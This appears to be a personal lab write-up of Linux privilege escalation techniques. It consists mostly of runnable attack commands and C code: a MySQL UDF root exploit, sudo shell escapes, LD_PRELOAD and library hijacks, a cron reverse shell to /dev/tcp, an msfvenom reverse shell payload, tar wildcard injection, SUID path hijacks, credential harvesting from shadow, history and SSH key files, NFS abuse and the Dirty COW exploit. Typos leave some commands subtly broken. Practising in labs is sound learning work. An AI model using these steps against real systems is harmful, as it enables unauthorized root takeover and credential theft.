Service exploits:
We see in the system there is a mysql service running with root privilages, and this explot was used to gain the root shell in this case :
[MySQL 4.x/5.0 (Linux) — User-Defined Function (UDF) Dynamic Library (2) — Linux local Exploit (exploit-db.com)](https://www.exploit-db.com/exploits/1518)
This exploit takes sdvsntsge of the UDFs(User Defines Functions), to run system commands via MySQL service.
What is a UDF?
Answer : It lets us create a function using a sql expression or a JS code. More Info: [User-defined functions | BigQuery | Google Cloud](https://cloud.google.com/bigquery/docs/reference/standard-sql/user-defined-functions#:~:text=A%20user%2Ddefined%20function%20(UDF,as%20either%20persistent%20or%20temporary.) . Here we define a udf that will help us get the root shell in the target machine.
Exploit Process:
We want to start in the mysql-udf directory, to comppile our exploit code:
cd /home/user/tools/mysql-udf
Now we will compile our exploit code :
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
as mysql is running as root with no password, so we log in as rooot user
mysql -u root
now we are in the mysql shell and it ti sthe time to create a UDF, with the compiled exploit above.
use these commands :
use mysql;
create table foo(line blob);
insert into foo values(load_file(‘/home/user/tools/mysql-udf/raptor_udf2.so’));
select * from foo into dumpfile ‘/usr/lib/mysql/plugin/raptor_udf2.so’;
create function do_system returns integer soname ‘raptor_udf2.so’;
execute the do system command to copy /bin/bash to /tmp/rootbash and set suid permission
select do_system(‘cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash’);
run the /tmp/rootbash -p and we get a root shell
Weak File Permissions — Readable /etc/shadow :
cat /etc/shadow
In this case we copy the hash of the root user and copy it in our system, and crack it via john
john hash.txt — wordlist=rockyou.txt
Weak File Permissions — Writable /etc/shadow :
In general this file is only readable to root user, but the vm was modified for us.
as the shadow file is writable we can edit the root password by creating our own password and replacing its hash with the hash of the original password via:
mkpasswd -m sha-512 [new password ]
su root
new password
Weak File Permissions — Writable /etc/passwd :
in this case we generate a new password, and create a new user with root account privilages by simply cpying the root users info and changing the username and the password hash.
we generate hash via this command:
**openssl passwd -1 -salt username password
Sudo — Shell Escape Sequences:
We use th sudo -l command, to see what commands we can execute as sudo in the system to start.
https://gtfobins.github.io/gtfobins
we use instruction in this manuls to exploit the available sudo commands to us.
Gaining root shell via vim
sudo vim — cmd ‘:set shell=/bin/sh|:shell’
exit vim :q!
Upgrade to root shell via find :
sudo find . -exec /bin/sh \; -quit
Getiing privescusing mann command :
man man
!/bin/sh
Getting privesc using awk:
awk ‘BEGIN {system(“/bin/sh”)}’
Gaining privesc via less :
less /etc/profile
!/bin/sh
Privesc via ftp:
sudo ftp
!/bin/sh
Privesc via nmap :
nmap — interactive
nmap> !sh
Via more command :
sudo more /etc/profile
!/bin/sh
SUDO ENVIOURNMENT Variables :
LD_PRELOAD : loads a shared object nefore any others when a rogram is run .
now we have this piece of ccode below, saved in a file as preload.c and we will
use it to create a shared object.
preaload.c file code :
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv(“LD_PRELOAD”);
setresuid(0,0,0);
system(“/bin/bash -p”);
}
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c`
Now a shared object is created with the helpp of the compiler. Now we will find a program that we are allowed to use with sudo permissions with sudo -l command.
and
use this to get a root shell;
sudo LD_PRELOAD=/tmp/preload.so program-name-here(i.e vim, more, man etc etc)
note : the science behind this is using the principal of the ld_preload, which will load the shared object before the requested program is allowed to run, and as that program runs with sudo permissions, it will execute the preaload.c file whih will get us a root shell
LD_LIBRARY_PATH : this provides us a list of directories, where shared libraries are searched for first.
what we do here is we find the libraries used by one of the softwares that can be run by root privilages for ex vim :
ldd /usr/bin/vim
we then copy the name of one of the libraries and create a shared object with same name via
gcc -o /tmp/libacl.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c`
library_path.c code :
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv(“LD_LIBRARY_PATH”);
setresuid(0,0,0);
system(“/bin/bash -p”);
}
sudo LD_LIBRARY_PATH=/tmp vim
note the science here is that LD_LIBRARY will facilitate the serach of the library in the tmp directory, where our libraries are stored, it is actually the compiled c file that is disguised as library, as the program needs all the libraries to to load before start, it will execute our c code and we spawn a root shell.
Cron Jobs — File Permissions :
here we try to find a script that is running with rooot privilages, and we can check it via ;
cat /etc /crontab
once we find the cript, we locate its complete path and over write its contents :
cat > rootscrpit.sh
#!/bin/bash
bash -i >& /dev/tcp/machine_ip/port 0>&1
Cron Jobs — PATH Environment Variable :
same principle as before we look for a file running with root privilages overwrite the contents of the file:
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
in our case the file is running every minute, so after one minute, just run the command
/tmp/rootbash -p
and you will get an elevated shell.
CRON JOBS WILDCARDS :
we will open the cron script via
cat /usr/local/bin/compress.sh, and we will look for a program running with a wildcard * in the /home directory of the user. tar is doing that in the example.
as seen in the gtfo page of the tar command we find out that tar can run other commands as a part of the check point feature in tar for example:
tar -cf /dev/null /dev/null — checkpoint=1 — checkpoint-action=exec=/bin/sh
we can create a payload as an elf executable and transport it to the target machine
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf
since tar executes commands with checkpoint argument we need to create these 2 files as well
touch /home/user/ — checkpoint=1
touch /home/user/ — checkpoint-action=exec=shell.elf,
and turn on the netcat listener on our kali machine
nc -lvnp 4444
and wait for tar to run as for our pc to catch a reverse shell.
SUID / SGID Executables — Known Exploits
find all the suid and sgid files;
find / -perm 4000 -type f 2>/dev/null or
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
exploit to search for in this task
[Exim 4.84–3 — Local Privilege Escalation — Linux local Exploit (exploit-db.com)](https://www.exploit-db.com/exploits/39535)
They already stored a copy in the vulnerable vm so we dont have to make one (i made mine for practise).
SUID / SGID Executables — Shared Object Injection
A vulnerable file is provided to us here,wwhich is
/usr/local/bin/suid-so
Strace command : The strace command lets you observe a given process in detail, printing its system calls as they occur.(interactions with the kernel)
no we will run the strace command to check its system calls, and we look for open|access|no such file, in particular. when we run this file on the given machine. we find multiple missing directories. so we choose one and create it and for ex we chose the :
/home/user/.config/libcalc.so
we then compile the c file, into this libcals.so file via
gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c
libcalc.c code :
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system(“/bin/bash -p”);
}
and we run the vulnerable file again and as it runs with root shell it shall execute the compiled file above and we get a root shell.
SUID / SGID Executables — Environment Variables :
Wer are given a vulnerable file located at :
/usr/local/bin/suid-env
and the vulnerability is due to the fact that it is trying to execute the programs(apache 2 in our case) with out specifying the path.
if we run the strings command on tis file we can definitely see that
strings /usr/local/bin/suid-env
sdk
fdmwe
service start apache2
now we are also gicen a file coded in c which when execute spawns the bash shell.
code :
int main() {
setuid(0);
system(“/bin/bash -p”);
}
`gcc -o service /home/user/tools/suid/service.c`
we compile this file, into an file called service and prepend current directory to path variable.
PATH=.:#PATH # this will prepend the current directory to path variable
/usr/local/bin/suid-env
now if we runf the vulnerable file again, it is calling for a binary called service, to start apache2. however we have a c file compiled to a file called service. and since that directory is prepended into the PATH variable, it will be executed first, instead of the real binary that system will execute by defualt. and we get a root shell
==UID / SGID Executables — Abusing Shell Features (#1)==
In this case we take advantage of the fact that we can define name of functions that resembles
file paths, for ex /root/billu. ANd if we export these functions the program will use these functions instead of the actual executable, which is represented by the path. (Only for bash versions 4.2–048 and lower)
we are given a vulnerable file, /usr/local/bin/suid-env2. If we runf this it tends to start apache2. we can use it to escalate the privilages since it runs on the root shell.
here is how
use the strings command on this file to see the commands it is using :
strings /usr/local/bin/suid-env2
output :
a
knijon
/usr/sbin/service apache2 start
look this file is calling the service c0ommand by its path, we will create a function called
/usr/sbin/service and export it . Here is how:
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
we now export this function. Export is used to pass the function to other shell scripts and childprocesses. so when the vulnerable file is called it will execute this function, it wont work without export .
now when we execute the file again we get a root shell.
==SUID / SGID Executables — Abusing Shell Features (#2)==
This will only work in bash versions 4.4 and below:
Launch the vulnerable file in the debug mode:
env -i SHELLOPTS=xtrace PS4=’$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)’ /usr/local/bin/suid-env2
Here the env -i is used to run the varilable in a clean enviournment. this done to make sure, that presense of other variables shall not interfare with execution of the command.
SHELLOPTS=xtrace will put shell in the debug mode, and before we execute our command we ster the PS$ variable as well, as our file is a sticky bit it will allow us to create a sticky bit version of the /bin/bash when the file is run. and we can run /tmp/rootbash and we will have our root shell
==Passwords & Keys — History Files==
the concept we are using here that the history file records alll the user input in a shel and we are checking the file to find if user ever entered the password in the commandline by mistake so that we can use it to spawn a root shell. in our vulnerable machine the history file is stored in the user directory:
we open it :
cat ~/.*history | less
and we see that user tried to log into to the mysql server using this ;
mysql -h somehost.local -uroot -ppassword123
and -p is for entering the password which is slighlty mistyped and we can obitain the password is “password123”
==Passwords & Keys — Config Files==
The principle used is here that the config files may contain passwords, in plaintext or other reversible formats, make sure to look for juicy stuff when looking around in config files and the demonstration is shown below:
`ls /home/user`
auth-user-pass /etc/openvpn/auth.txt
Note the presence of a **myvpn.ovpn** config file. View the contents of the file:
`cat /home/user/myvpn.ovpn`
we get this :
The file should contain a reference to another location where the root user’s credentials can be found. Switch to the root user, using the credentials:
`su root`
==Passwords & Keys — SSH Keys==
the principle here is to look around for a backups made by the user, but failed to secure it with correct permissions. we will look around for hidden files starting with root folder and in this assignment we find a hidden .ssh folder containing the root ssh key, we can open it and copy the contents to our kali machine and ssh in as a root user. using this command :
ssh — root_key root@ipaddress
or this command in case we get this error(Unable to negotiate with <IP> port 22: no matching how to key type found. Their offer: ssh-rsa, ssh-dss) :
ssh -i root_key -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.10.28.171
==NFS :==
Network File System (NFS) NFS **allows a system to share directories and files with others over a network** . By using NFS, users and programs can access files on remote systems almost as if they were local files.
root squash = a security feature, that denies that the super user on specified hosts, any special access rights by mapping requests from uid 0 to uid 65534. It means that if this is enabled on a directory, and i mount that directory in my system, i wont be able to use root privilages here even if i am signed in as root. we can check the configuration of a system by
cat /etc/exports
and i the given case we see tmp has no root squah enabled so if we mount this directory in our system, we can use it with root privilaages, given we are rootuser in our system.
So we start by mounting this tmp :
mkdir /tmp/nfs
mount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfs
now since the target machine is a linux machine we can create a executable payload via msf venom and copy it there and run it in the target to escalate the privilages
msfvenom -p linux/x86/exec CMD=”/bin/bash -p” -f elf -o /tmp/nfs/shell.elf
`chmod +xs /tmp/nfs/shell.elf`
since we are the root user in our system and this file has a suid set by us as root, it will be running as root in target as well.
now run it on the target:
/tmp/shell.elf
==kernel exploits==
We will start here by looking for available kernel exploits and we use a perl scripts for it:
perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl
once we get a list of exploits we can can compile the exploits like we did before with the c files, we might neeed to go to exploit db to get the code for it and create a file before compiling, here they gave us a file that we can use :
gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w
run : ./c0w
once the exploit finishes run the /usr/bin/passwd file and the shell is root baby!
Remember to restore the original **/usr/bin/passwd** file and exit the root shell before continuing!
`mv /tmp/bak /usr/bin/passwd exit`
resources:
Linenum.sh :
linpeas.sh : https://linpeas.sh/
lse.sh : https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh
